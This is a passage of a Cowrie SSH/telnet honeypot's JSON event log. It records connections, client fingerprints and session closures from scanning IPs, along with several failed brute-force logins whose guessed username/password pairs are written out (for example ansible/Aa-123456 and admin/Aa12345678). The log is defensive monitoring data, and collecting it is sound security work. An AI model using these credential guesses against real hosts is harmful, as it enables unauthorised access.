{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:32.159425Z","src_ip":"14.103.112.116","session":"ee09a6f3e31e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntuubuntu","message":"login attempt [ubuntu/ubuntuubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:33.120347Z","src_ip":"14.103.112.116","session":"ee09a6f3e31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:34.365776Z","src_ip":"14.103.112.116","session":"ee09a6f3e31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.590296745300293,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:37.091426Z","src_ip":"185.26.126.47","session":"b0a432633a08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46758,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2e2d600ef0c","protocol":"ssh","message":"New connection: 159.203.92.129:46758 (159.203.135.109:22) [session: e2e2d600ef0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:43.113247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:43.118253Z","src_ip":"159.203.92.129","session":"e2e2d600ef0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:43.124247Z","src_ip":"159.203.92.129","session":"e2e2d600ef0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Aa-123456","message":"login attempt [ansible/Aa-123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:43.140041Z","src_ip":"159.203.92.129","session":"e2e2d600ef0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:44.146236Z","src_ip":"159.203.92.129","session":"e2e2d600ef0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40550,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c4f065dc0c3","protocol":"telnet","message":"New connection: 185.26.126.47:40550 (159.203.135.109:23) [session: 1c4f065dc0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:47.881206Z"}
{"eventid":"cowrie.session.closed","duration":120.00101470947266,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:53.232519Z","src_ip":"138.94.179.238","session":"def3b635bb93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.94.179.238","src_port":23120,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb2915d579d1","protocol":"telnet","message":"New connection: 138.94.179.238:23120 (10.17.0.5:23) [session: cb2915d579d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:45:58.014473Z"}
{"eventid":"cowrie.session.closed","duration":120.00204157829285,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:46:01.866408Z","src_ip":"138.94.179.238","session":"35184f93f678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.94.179.238","src_port":23182,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48e535545da","protocol":"telnet","message":"New connection: 138.94.179.238:23182 (10.17.0.5:23) [session: d48e535545da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:46:03.517566Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53938,"dst_ip":"159.203.135.109","dst_port":22,"session":"8817913ed5a6","protocol":"ssh","message":"New connection: 159.203.92.129:53938 (159.203.135.109:22) [session: 8817913ed5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:46:26.244040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:46:26.248667Z","src_ip":"159.203.92.129","session":"8817913ed5a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:46:26.253013Z","src_ip":"159.203.92.129","session":"8817913ed5a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Aa123456","message":"login attempt [ansible/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:46:26.265187Z","src_ip":"159.203.92.129","session":"8817913ed5a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:46:27.273348Z","src_ip":"159.203.92.129","session":"8817913ed5a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.702457666397095,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:46:27.583527Z","src_ip":"185.26.126.47","session":"1c4f065dc0c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":59618,"dst_ip":"159.203.135.109","dst_port":22,"session":"04efe938f47f","protocol":"ssh","message":"New connection: 103.146.202.174:59618 (159.203.135.109:22) [session: 04efe938f47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:10.565091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:10.569737Z","src_ip":"103.146.202.174","session":"04efe938f47f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43366,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e749a2ce413","protocol":"ssh","message":"New connection: 159.203.92.129:43366 (159.203.135.109:22) [session: 4e749a2ce413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:10.728740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:10.733147Z","src_ip":"159.203.92.129","session":"4e749a2ce413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:10.737669Z","src_ip":"159.203.92.129","session":"4e749a2ce413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Aa12345678","message":"login attempt [ansible/Aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:10.748817Z","src_ip":"159.203.92.129","session":"4e749a2ce413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:10.824742Z","src_ip":"103.146.202.174","session":"04efe938f47f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:11.772219Z","src_ip":"159.203.92.129","session":"4e749a2ce413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Aa12345678","message":"login attempt [admin/Aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:11.861705Z","src_ip":"103.146.202.174","session":"04efe938f47f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:13.115134Z","src_ip":"103.146.202.174","session":"04efe938f47f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.225.40.146","src_port":35372,"dst_ip":"10.17.0.5","dst_port":23,"session":"60e9164beba1","protocol":"telnet","message":"New connection: 185.225.40.146:35372 (10.17.0.5:23) [session: 60e9164beba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:14.400067Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54068,"dst_ip":"159.203.135.109","dst_port":23,"session":"718ffddf833c","protocol":"telnet","message":"New connection: 185.26.126.47:54068 (159.203.135.109:23) [session: 718ffddf833c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:20.049832Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":57368,"dst_ip":"159.203.135.109","dst_port":23,"session":"571aa7f5e124","protocol":"telnet","message":"New connection: 185.26.126.47:57368 (159.203.135.109:23) [session: 571aa7f5e124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:24.278480Z"}
{"eventid":"cowrie.session.closed","duration":13.1372230052948,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:27.537189Z","src_ip":"185.225.40.146","session":"60e9164beba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":53168,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ea6f1e3ad46","protocol":"ssh","message":"New connection: 80.94.92.182:53168 (10.17.0.5:22) [session: 9ea6f1e3ad46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:43.303020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:44.498438Z","src_ip":"80.94.92.182","session":"9ea6f1e3ad46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:44.502006Z","src_ip":"80.94.92.182","session":"9ea6f1e3ad46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:45.483013Z","src_ip":"80.94.92.182","session":"9ea6f1e3ad46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.90","src_port":61268,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4bd263fa53c","protocol":"ssh","message":"New connection: 198.235.24.90:61268 (10.17.0.5:22) [session: f4bd263fa53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:45.740366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:46.645759Z","src_ip":"198.235.24.90","session":"f4bd263fa53c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:47:46.749525Z","src_ip":"80.94.92.182","session":"9ea6f1e3ad46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 